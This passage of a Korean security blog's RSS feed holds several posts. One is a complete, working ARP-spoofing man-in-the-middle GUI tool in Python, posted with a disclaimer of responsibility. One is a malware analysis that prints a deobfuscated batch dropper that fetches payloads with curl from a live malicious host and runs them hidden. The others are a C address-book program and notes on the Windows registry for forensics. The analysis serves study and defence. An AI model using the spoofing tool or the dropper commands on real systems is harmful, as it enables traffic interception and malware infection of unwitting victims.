&lt;h2 data-ke-size=&quot;size26&quot;&gt;본인이 기여한 일&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;arp프로토콜에 대한 교육을 진행&lt;/li&gt;
&lt;li&gt;scapy모듈을 이용하여 패킷을 변조하여 다시 전송하는 코드 작성&lt;/li&gt;
&lt;li&gt;arp-spooping 기능 구현&lt;/li&gt;
&lt;li&gt;UI 제작&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;사용한 기술&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;PyQt5: 파이썬 GUI 프레임워크&lt;/li&gt;
&lt;li&gt;threading: 스레드를 이용한 병렬 처리&lt;/li&gt;
&lt;li&gt;netifaces: 네트워크 인터페이스 정보 조회&lt;/li&gt;
&lt;li&gt;scapy: 패킷 조작 및 분석 도구&lt;/li&gt;
&lt;li&gt;psutil: 시스템 리소스 및 프로세스 정보 조회&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;어려웠던점&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;arp패킷의 구조를 공부하며 어떤것을 수정해야 잘 작동하는지 설계하는것&lt;/li&gt;
&lt;li&gt;이더넷 상태와 무선랜 상태를 인식하고 그에 맞는 mac주소를 부여하는 코드 작성이 어려웠다&lt;/li&gt;
&lt;li&gt;현재 네트워크에 있는 정보를 가져오는것이 어려웠다&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;결과&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;윈도우 10 기준으로 작동이 잘 되는것을 확인&lt;/li&gt;
&lt;li&gt;패킷을 스니핑이 가능하고 변조하여 보내는것도 가능&lt;/li&gt;
&lt;li&gt;DNS스푸핑 제작 예정&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;코드&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;아래 코드를 사용하여 일어나는 불이익은 저에게 책임이 없습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;ruby&quot;&gt;&lt;code&gt;from PyQt5.QtWidgets import QApplication, QWidget, QVBoxLayout, QHBoxLayout, QPushButton, QLabel, QTableWidget, \\
    QTableWidgetItem, QAbstractItemView, QMessageBox
import netifaces
from scapy.all import *
from scapy.layers.l2 import ARP, Ether, arping
import psutil
import socket
import threading

mac_list = []
ip_list = []
hostname_list = []
all_list = []

my_mac = &quot;&quot;
gateway_ip = &quot;&quot;
gateway_mac = &quot;&quot;
target_ip = &quot;&quot;
target_mac = &quot;&quot;

def get_hostname(ip_address):
    try:
        return socket.gethostbyaddr(ip_address)[0]
    except:
        return &quot;unknown&quot;

def get_my_ip():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((&quot;www.google.com&quot;, 443))
    return sock.getsockname()[0]

def list_clear():
    mac_list.clear()
    ip_list.clear()
    hostname_list.clear()
    all_list.clear()

def get_address_list():
    ans, unans = arping(&quot;.&quot;.join(get_my_ip().split(&quot;.&quot;)[:3]) + &quot;.0/24&quot;)
    list_clear()
    for s, r in ans:
        mac_list.append(r[Ether].src)
        ip_list.append(r[ARP].psrc)
        hostname_list.append(get_hostname(r[ARP].psrc))

    for h, i, m in zip(hostname_list, ip_list, mac_list):
        all_list.append([h, i, m])
    return all_list

def get_my_mac():
    for iface, addrs in psutil.net_if_addrs().items():
        for addr in addrs:
            if addr.family == psutil.AF_LINK:  # MAC 주소가 있는 경우
                if 'Ethernet' in iface:
                    net_if_addrs = psutil.net_if_addrs()
                    mac_address = None
                    for interface_name, interface_addresses in net_if_addrs.items():
                        for address in interface_addresses:
                            if address.family == psutil.AF_LINK:
                                mac_address = address.address
                                break
                        if mac_address is not None:
                            break
                    return mac_address

                elif 'Wi-Fi' in iface:
                    interface = netifaces.gateways()['default'][netifaces.AF_INET][1]
                    return netifaces.ifaddresses(interface)[netifaces.AF_LINK][0]['addr']

class ScanThread(threading.Thread):
    def __init__(self, table):
        threading.Thread.__init__(self)
        self.table = table

    def run(self):
        self.table.clearContents()
        self.table.setRowCount(0)
        rows = get_address_list()
        for row in rows:
            self.table.insertRow(self.table.rowCount())
            for col in range(3):
                self.table.setItem(self.table.rowCount() - 1, col, QTableWidgetItem(str(row[col])))

class MainWindow(QWidget):
    def __init__(self):
        super().__init__()
        self.setGeometry(700, 300, 500, 300)
        self.packet_reply_thread = None
        self.packet_request_thread = None
        self.poison_thread = None
        self.table = QTableWidget()
        self.table.setColumnCount(3)
        self.table.setHorizontalHeaderLabels(['Hostname', 'IP', 'MAC'])
        self.table.setSelectionBehavior(QAbstractItemView.SelectRows)

        self.scan_button = QPushButton('Scan')
        self.scan_button.clicked.connect(self.scan)

        self.gateway_button = QPushButton('Gateway')
        self.gateway_button.clicked.connect(self.get_gateway)

        self.target_button = QPushButton('Target')
        self.target_button.clicked.connect(self.get_target)

        self.start_spoofing_button = QPushButton('Start Spoofing')
        self.start_spoofing_button.clicked.connect(self.start_spoofing)

        self.stop_spoofing_button = QPushButton('Stop Spoofing')
        self.stop_spoofing_button.clicked.connect(self.stop_spoofing)

        # Set up layout
        layout = QVBoxLayout()
        layout.addWidget(self.table)
        layout.addWidget(self.scan_button)
        layout.addWidget(self.gateway_button)
        layout.addWidget(self.target_button)
        layout.addWidget(self.start_spoofing_button)
        layout.addWidget(self.stop_spoofing_button)

        self.setLayout(layout)

    def scan(self):
        scan_thread = ScanThread(self.table)
        scan_thread.start()

    def get_gateway(self):
        global gateway_ip, gateway_mac
        selected_rows = self.table.selectionModel().selectedRows()

        if selected_rows:
            selected_row = selected_rows[0].row()

            gateway_ip = self.table.item(selected_row, 1).text()
            gateway_mac = self.table.item(selected_row, 2).text()

            print(f&quot;Gateway IP: {gateway_ip}, MAC: {gateway_mac}&quot;)
        else:
            if not gateway_ip:
                QMessageBox.about(self, '경고', '지정된 Gateway가 없습니다.')

    def get_target(self):
        global target_ip, target_mac
        selected_rows = self.table.selectionModel().selectedRows()

        if selected_rows:
            selected_row = selected_rows[0].row()

            target_ip = self.table.item(selected_row, 1).text()
            target_mac = self.table.item(selected_row, 2).text()

            print(f&quot;Target IP: {target_ip}, MAC: {target_mac}&quot;)
        else:
            if not target_ip:
                QMessageBox.about(self, '경고', '지정된 Target이 없습니다.')

    def start_spoofing(self):
        def target_arp_cache_poisoning():

            arp = ARP(op=2, hwsrc=get_my_mac(), psrc=gateway_ip, hwdst=target_mac, pdst=target_ip)
            send(arp)

        def ap_arp_cache_poisoning():
            arp = ARP(op=2, hwsrc=get_my_mac(), psrc=target_ip, hwdst=gateway_mac, pdst=gateway_ip)
            send(arp)

        def poison():
            while True:
                target_arp_cache_poisoning()
                ap_arp_cache_poisoning()
                time.sleep(2)

        def packet_request():
            sniff(
                filter=&quot;ip src &quot; + target_ip + &quot; and ether dst &quot; + get_my_mac() + &quot; and ether src &quot; + target_mac,
                prn=send_packet_to_gateway)

        def packet_reply():
            # while True:
            sniff(
                filter=&quot;ether src &quot; + gateway_mac + &quot; and ip dst &quot; + target_ip + &quot; and ether dst &quot; + get_my_mac(),
                prn=send_packet_to_target)

        def send_packet_to_gateway(packet):
            packet[Ether].src = get_my_mac()
            packet[Ether].dst = gateway_mac
            sendp(packet)

        def send_packet_to_target(packet):
            packet[Ether].src = get_my_mac()
            packet[Ether].dst = target_mac
            sendp(packet)

        self.poison_thread = threading.Thread(target=poison)
        self.poison_thread.start()

        self.packet_request_thread = threading.Thread(target=packet_request)
        self.packet_request_thread.start()

        self.packet_reply_thread = threading.Thread(target=packet_reply)
        self.packet_reply_thread.start()

    def stop_spoofing(self):

        self.packet_reply_thread._stop()
        self.packet_request_thread._stop()
        self.poison_thread._stop()

        print(&quot;Spoofing stopped&quot;)

if __name__ == '__main__':
    app = QApplication([])
    window = MainWindow()
    window.show()
    app.exec_()
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>기타</category>
      <author>grze0</author>
      <guid isPermaLink="true">https://dlwodnr59.tistory.com/11</guid>
      <comments>https://dlwodnr59.tistory.com/11#entry11comment</comments>
      <pubDate>Wed, 18 Feb 2026 14:38:52 +0900</pubDate>
    </item>
    <item>
      <title>Pointer based Address list(C)</title>
      <link>https://dlwodnr59.tistory.com/10</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;//조건(c언어, 취약점이 없도록 설계) //1. 동적 할당 함수 사용 //2. CRUD(create, read, update, delete) 기능이 포함되어야 함 //3. 사람의 정보는 구조체로 관리(저장해야 하는 정보 : 이름, 전화번호, 나이, 이메일 주소) //4. 단일 연결 리스트 사용 //5. 찾고자 하는 사람의 이름을 입력하면 빠르게 검색할 수 있도록 해싱 함수를 사용할 것 //&amp;rArr; 이후 stress testing 했을 때 정상적으로 동작해야 함&lt;/p&gt;
&lt;pre class=&quot;autoit&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;stdbool.h&amp;gt;

typedef struct memberinfo {
	int index;
	char name[20];
	int age;
	char number[20];
	char email[30];

	struct memberinfo* next;
	
}info ;

void init(info *ptr2) {
	info* ptr = ptr2;
	unsigned int name_size = sizeof(ptr-&amp;gt;name);
	unsigned int number_size = sizeof(ptr-&amp;gt;number);
	unsigned int email_size = sizeof(ptr-&amp;gt;email);

	ptr-&amp;gt;next = NULL;
	ptr-&amp;gt;index = 0;
	ptr-&amp;gt;age = 0;
	strcpy_s(ptr-&amp;gt;name, name_size, &quot;&quot;);
	strcpy_s(ptr-&amp;gt;number, number_size, &quot;&quot;);
	strcpy_s(ptr-&amp;gt;email, email_size ,&quot;&quot;);
}
bool create(info *ptr2) {
	info* ptr = ptr2;
	unsigned int info_size = sizeof(info);
	while (ptr-&amp;gt;next != NULL) {
		ptr = ptr-&amp;gt;next;
	}
	ptr-&amp;gt;next = (info*)malloc(info_size);

	if (ptr-&amp;gt;next == NULL) {
		printf(&quot;메모리 에러&quot;);
		exit(1);
	}
	ptr = ptr-&amp;gt;next;

	unsigned int name_size = sizeof(ptr-&amp;gt;name);
	unsigned int number_size = sizeof(ptr-&amp;gt;number);
	unsigned int email_size = sizeof(ptr-&amp;gt;email);

	//잘못된 입력에 대한 검증 추가 필요함
	printf(&quot;name: &quot;);
	scanf_s(&quot;%s&quot;, ptr-&amp;gt;name,name_size);
	
	printf(&quot;age: &quot;);
	scanf_s(&quot;%d&quot;, &amp;amp;ptr-&amp;gt;age);
	
	printf(&quot;number: &quot;);
	scanf_s(&quot;%s&quot;, ptr-&amp;gt;number, number_size);

	printf(&quot;email: &quot;);
	
	scanf_s(&quot;%s&quot;, ptr-&amp;gt;email, email_size);
	ptr-&amp;gt;next = NULL;

	return true;
}
void read(info* ptr2) {
	info* ptr = ptr2;
	ptr = ptr-&amp;gt;next;
	while (ptr != NULL) {
		printf(&quot;name: %s\\n&quot;, ptr-&amp;gt;name);
		printf(&quot;age: %d\\n&quot;, ptr-&amp;gt;age);
		printf(&quot;number: %s\\n&quot;, ptr-&amp;gt;number);
		printf(&quot;email: %s\\n&quot;, ptr-&amp;gt;email);
		printf(&quot;------------------\\n&quot;);
		ptr = ptr-&amp;gt;next;
	}
}
void update(info* ptr2) {
	info* ptr = ptr2;
	unsigned int name_size = sizeof(ptr-&amp;gt;name);
	unsigned int number_size = sizeof(ptr-&amp;gt;number);
	unsigned int email_size = sizeof(ptr-&amp;gt;email);
	char update_name[20];
	
	printf(&quot;업데이트 할 사용자 : &quot;);
	scanf_s(&quot;%s&quot;, update_name, name_size);
	update_name[name_size - 1] = '\\0';

	while (ptr-&amp;gt;next != NULL) {
		ptr = ptr-&amp;gt;next;
		if (strncmp(ptr-&amp;gt;name, update_name, name_size)==0) {
			printf(&quot;name : &quot;);
			scanf_s(&quot;%s&quot;, ptr-&amp;gt;name, name_size);
			printf(&quot;age : &quot;);
			scanf_s(&quot;%d&quot;, &amp;amp;ptr-&amp;gt;age);
			printf(&quot;number : &quot;);
			scanf_s(&quot;%s&quot;, ptr-&amp;gt;number, number_size);
			printf(&quot;email : &quot;);
			scanf_s(&quot;%s&quot;, ptr-&amp;gt;email, email_size);
			printf(&quot;업데이트 성공\\n&quot;);
			return;
		}
	}

}
void delete(info *ptr2) {
	info* ptr = ptr2;
	unsigned int name_size = sizeof(ptr-&amp;gt;name);
	info *temp = NULL;

	char del_name[20];
	

	printf(&quot;삭제할 이름 : &quot;);
	scanf_s(&quot;%s&quot;, del_name, name_size);
	del_name[name_size-1] = '\\0';

	while (ptr-&amp;gt;next != NULL) {
		temp = ptr;
		ptr = ptr-&amp;gt;next;

		if (strncmp(ptr-&amp;gt;name, del_name, name_size)==0) {
			temp-&amp;gt;next = ptr-&amp;gt;next;
			free(ptr);
			printf(&quot;%s 삭제 성공\\n&quot;,del_name);
			return;
		}
		
	}
	printf(&quot;찾는 이름이 없습니다\\n&quot;);
	
	
}
int main() {
	unsigned int info_size = sizeof(info);
	info* head = (info*)malloc(info_size);
	
	init(head);
	
	while (1) {
		int choice = 0;
		printf(&quot;1.Create || 2.Read || 3.Update || 4.Delete || other input exit\\n&quot;);
		scanf_s(&quot;%d&quot;, &amp;amp;choice);
		switch (choice)
		{
		case 1:
			printf(&quot;Create selected\\n&quot;);
			if (create(head)) {
				printf(&quot;주소 추가 성공\\n&quot;);
			}
			else {
				printf(&quot;에러\\n&quot;);
			}
			break;
		case 2:
			printf(&quot;Read selected\\n&quot;);
			read(head);
			break;
		case 3:
			printf(&quot;Update selected\\n&quot;);
			update(head);
			
			break;
		case 4:
			printf(&quot;Delete selected\\n&quot;);
			delete(head);
			break;
		default:
			printf(&quot;종료\\n&quot;);
			exit(1);
			break;

		}

	}
		return 0;
}

&lt;/code&gt;&lt;/pre&gt;</description>
      <category>기타</category>
      <author>grze0</author>
      <guid isPermaLink="true">https://dlwodnr59.tistory.com/10</guid>
      <comments>https://dlwodnr59.tistory.com/10#entry10comment</comments>
      <pubDate>Wed, 18 Feb 2026 14:33:53 +0900</pubDate>
    </item>
    <item>
      <title>Registry</title>
      <link>https://dlwodnr59.tistory.com/9</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;Registry&lt;/h2&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;윈도우의 하드웨어, 소프트웨어, 운영체제의 환경설정 및 실행정보를 담고있는 계층적 데이터베이스&lt;/li&gt;
&lt;li&gt;key/value 구조로 값을 가지고있음&lt;/li&gt;
&lt;li&gt;여러개의 Hive 파일이 OS부팅, 사용자 로그인이 될때 메모리에 로드되면서 사용됨&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Root Key&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;HKEY_CLASSES_ROOT(HKCR) : 파일 확장자, OLE정보 등의 연결 정보&lt;/li&gt;
&lt;li&gt;HKEY_CURRENT_USER(HKCU) : 현재 로그인한 사용자의 환경설정 정보&lt;/li&gt;
&lt;li&gt;HKEY_LOCAL_MACHINE(HKLM) : 컴퓨터의 하드웨어/소프트웨어 구성 정보&lt;/li&gt;
&lt;li&gt;HKEY_USERS(HKU) : 컴퓨터의 모든 사용자 프로필&lt;/li&gt;
&lt;li&gt;HKEY_CURRENT_CONFIG(HKCC) : 하드웨어 프로필 정보&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Hive 파일(%SystemRoot%\System32\Config)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;SYSTEM : 설치 드라이버, ControlSet, 부팅, 하드웨어 프로파일 등&lt;/li&gt;
&lt;li&gt;SAM : 로컬 계정/그룹 관련 보안 DB&lt;/li&gt;
&lt;li&gt;SOFTWARE : 설치 소프트웨어, 시스템 전역 애플리케이션 설정, COM/Classes 일부 등&lt;/li&gt;
&lt;li&gt;SECURITY : LSA Policy/Secrets 등 보안 관련&lt;/li&gt;
&lt;li&gt;DEAFAULT : &amp;ldquo;기본 사용자&amp;rdquo; 템플릿/로그온 화면 등에서 쓰이는 기본 프로파일 성격&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;사용자 Hive&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;NTUSER.DAT : 사용자 환경설정&lt;/li&gt;
&lt;li&gt;UsrClass.dat : 사용자별 Classes/쉘 확장/COM 관련 일부가 이쪽이랑 연관됨
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;경로 : AppData\\Local\\Microsoft\\Windows\\UsrClass.dat&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;로그, 백업, 보조파일 경로&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;트랜젝션 로그 : LOG, LOG1, LOG2
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;.log는 key/value변경에 대한 트랜젝션 변경 로그&lt;/li&gt;
&lt;li&gt;하이브는 primary hive + transaction log + (TxR 파일) 로 구성될 수 있고, 로그는 장애 복구(fault-tolerant write)를 위해 dirty block을 먼저 로그에 쓰고 이후 본 파일에 반영&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;*&lt;b&gt;TxR 파일 : 하이브에 모든 값을 성공적으로 써야하는데 실패가 하나라도 있다면 전부 실패로 해버리는것 그래서 해당 로그를남겨서 어떤것이 실패를 해서 전부 실패했는지 알게 하는 로그&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;백업/세이브 로그 : .sav, .alt, RegBack
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;.alt : 중요 SYSTEM Hive의 백업(System Key에서만 존재)&lt;/li&gt;
&lt;li&gt;.sav : 하이브 백업(특정 시점/설치 단계 보호 목적 등)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;레지스트리 값 종류&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;REG_SZ : 일반 문자열&lt;/li&gt;
&lt;li&gt;REG_EXPAND_SZ : 환경변수 포함 문자열(예: %SystemRoot%)&lt;/li&gt;
&lt;li&gt;REG_MULTI_SZ : 문자열 배열(멀티스트링)&lt;/li&gt;
&lt;li&gt;REG_DWORD / REG_QWORD : 32비트/64비트 정수&lt;/li&gt;
&lt;li&gt;REG_BINARY : 바이너리 blob&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;DFIR 시점에서의 보면 좋은&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;SYSTEM : 서비스/드라이버, 부팅 흔적, 장치/하드웨어 프로파일&lt;/li&gt;
&lt;li&gt;SOFTWARE : 설치 SW, 시스템 전역 설정, 프로그램 흔적(일부)&lt;/li&gt;
&lt;li&gt;SAM/SECURITY : 로컬 계정/보안 정책/비밀정보(취급 주의)&lt;/li&gt;
&lt;li&gt;NTUSER.DAT : 사용자 행위 흔적(실행/최근 사용/환경설정 계열이 많이 모임)&lt;/li&gt;
&lt;li&gt;UsrClass.dat : 사용자 쉘/클래스(확장/COM/셸 관련) 계열에서 자주 핵심&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;파일 숨기기 레지스트리 값&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder \Hidden ( 숨김 파일 및 폴더 표시- 0x0 숨김)&lt;/li&gt;
&lt;li&gt;HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced \ShowSuperHidden (보호된 운영체제 파일 숨기기 &amp;mdash; 0x0 숨김)&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>침해사고 대응</category>
      <author>grze0</author>
      <guid isPermaLink="true">https://dlwodnr59.tistory.com/9</guid>
      <comments>https://dlwodnr59.tistory.com/9#entry9comment</comments>
      <pubDate>Wed, 18 Feb 2026 14:32:16 +0900</pubDate>
    </item>
    <item>
      <title>ZPHP 분석 보고서</title>
      <link>https://dlwodnr59.tistory.com/8</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;학습용으로 악성코드분석을 하고있습니다. 틀린 내용이 있거나 문장이 이상한 부분 그냥 이건 쫌 이상한테 하는 부분은 언제든지 말해주시면 감사하겠습니다. 많이 배우겠습니다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;File Hash&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;md5 : f7a56edbc493d3ca86cd4d0a94daa1bb&lt;/li&gt;
&lt;li&gt;sha1 : 4760a9ca5cd7b2e1ff07c75996c94e371d701f1f&lt;/li&gt;
&lt;li&gt;sha256 : 6edaffbeab3e7509ba5cf4bfdba44b127cf4c23f4f277bff6b5c35ecacb0b351&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;File Informaiton&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;File Name : 1.bat&lt;/li&gt;
&lt;li&gt;File Size : 9&amp;rsquo;080 bytes&lt;/li&gt;
&lt;li&gt;File Type : bat&lt;/li&gt;
&lt;li&gt;MIME Type : text/plain&lt;/li&gt;
&lt;li&gt;Tag : &amp;ldquo;&lt;b&gt;5-252-178-48&amp;rdquo;,&lt;/b&gt; &amp;rdquo;&lt;b&gt;bat&amp;rdquo;,&lt;/b&gt; &amp;rdquo;&lt;b&gt;HANEYMANEY&amp;rdquo;,&lt;/b&gt; &amp;rdquo;&lt;b&gt;NetSupport&amp;rdquo;,&lt;/b&gt; &amp;rdquo;&lt;b&gt;ponraj-com&amp;rdquo;,&lt;/b&gt; &amp;rdquo;&lt;b&gt;ZPHP&amp;rdquo;, &amp;ldquo;obfuscated&amp;rdquo;&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;정적분석&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 악성코드는 난독화된 batch파일 형태의 악성코드이다. 해당 스크립트의 난독화를 해제하면 아래 스크립트가 보인다. 이전에 분석한 악성코드보다 먼저 실행되는 형태의 악성 스크립트로 보인다.&lt;/p&gt;
&lt;pre class=&quot;sqf&quot;&gt;&lt;code&gt;&amp;amp;@cls&amp;amp;@set &quot;&amp;Atilde;&amp;sup1;&amp;Atilde;NL=4Fl2rHoqM3kxgea5ZhmtXWz9DKuU0wGI71RjPyNbBO6@ CEQfApTdYSLJsnvVci8&quot;
@set &quot;y&amp;copy;z=KC@BEcg9aUYVbP1dWk3OA jt4LSDHme8IyoTFhM5l06wrJNpRZifuvQzx72GqXsn&quot;

@echo off

:: R11fsKfsKfsfsRb

set &quot;fdaa=set &quot;
set &quot;gfgfs=C:\Prog&quot;
set &quot;hghgdgdfsz=ramD&quot;
set &quot;hyturdfgf=ata\&quot;

:: R11KKfsffsfsRb

C:\ProgramData\

set &quot;fgdgh=set &quot;
set &quot;vbnvbv=Wscr&quot;
set &quot;jhgcvbc=ipt.Sh&quot;
set &quot;jhvbcs=ell&quot;

:: R11KKfsffsRb
Wscript.Shell

set &quot;ghjgr=set &quot;
set &quot;cvbcvbsds=WSc&quot;
set &quot;gfgxxc=rit.Ar&quot;
set &quot;hgvbcvbc=guments&quot;

:: R11KKfsffsfsRb

WScrit.Arguments

:: R11KfsRb

echo CreateObject^(Wscript.Shell^).Run  ^&amp;amp; WScrit.Arguments^(0^) ^&amp;amp; , 0, False &amp;gt; &quot;%tmp%/b1.vbs&quot;
(echo if not exist &quot;%tmp%/document.jpg&quot; ^( curl -k &quot;https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/tempy.7z&quot; -o &quot;C:\ProgramData\tempy.7z&quot; ^) &amp;amp; echo &quot;%tmp%/tempy.7z&quot;) &amp;gt; &quot;C:\ProgramData\sett.bat&quot;

echo CreateObject^(Wscript.Shell^).Run  ^&amp;amp; WScrit.Arguments^(0^) ^&amp;amp; , 0, False &amp;gt; &quot;%tmp%/b2.vbs&quot;
(echo if not exist &quot;%tmp%/7z.exe&quot; ^( curl -k &quot;https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe&quot; -o &quot;C:\ProgramData\7zz.exe&quot; ^) &amp;amp; echo &quot;%tmp%/7zz.exe&quot;) &amp;gt; &quot;C:\ProgramData\7z.bat&quot;

echo CreateObject^(Wscript.Shell^).Run  ^&amp;amp; WScrit.Arguments^(0^) ^&amp;amp; , 0, False &amp;gt; &quot;%tmp%/b3.vbs&quot;
(echo if not exist &quot;%tmp%/2.bat&quot; ^( curl -k &quot;https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/2.bat&quot; -o &quot;C:\ProgramData\2.bat&quot; ^) &amp;amp; echo &quot;%tmp%/2.bat&quot;) &amp;gt; &quot;C:\ProgramData\2.bat&quot;

cmd.exe /c C:\ProgramData\sett.bat&quot;
cmd.exe /c C:\ProgramData\7z.bat&quot;
cmd.exe /c C:\ProgramData\2.bat&quot;
cmd.exe /c C:\ProgramData\2.bat&quot;

:: KfsRfddssb
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주요 기능을 보면 다음과 같다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래의 내용으로 b1.vbs를 생성한다. 스크립트의 목적은 피해자한테 들키지 않게 조용히 실행하게 한다.&lt;/p&gt;
&lt;pre class=&quot;nginx&quot;&gt;&lt;code&gt;echo CreateObject^(Wscript.Shell^).Run  ^&amp;amp; WScrit.Arguments^(0^) ^&amp;amp; , 0, False &amp;gt; &quot;%tmp%/b1.vbs&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 아래의 내용으로 sett.bat파일을 생성한다.&lt;/p&gt;
&lt;pre class=&quot;lisp&quot;&gt;&lt;code&gt;(echo if not exist &quot;%tmp%/document.jpg&quot; ^( curl -k &quot;https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/tempy.7z&quot; -o &quot;C:\ProgramData\tempy.7z&quot; ^) &amp;amp; echo &quot;%tmp%/tempy.7z&quot;) &amp;gt; &quot;C:\ProgramData\sett.bat&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 스크립트는 %tmp%\document.jpg가 없으면 curl을 이용해서 hxxps://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/tempy.7z를 다운로드 받아 C:\ProgramData\tempy.7z에 저장하는 스크립트를 C:\ProgramData\sett.bat에 저장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;curl 옵션인 -k는 TLS 인증서 검증 무시를 하기 위한 옵션이다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;b2.vbs도 b1.vbs와 같은 기능을 하고 7z.bat을 생성한다.&lt;/p&gt;
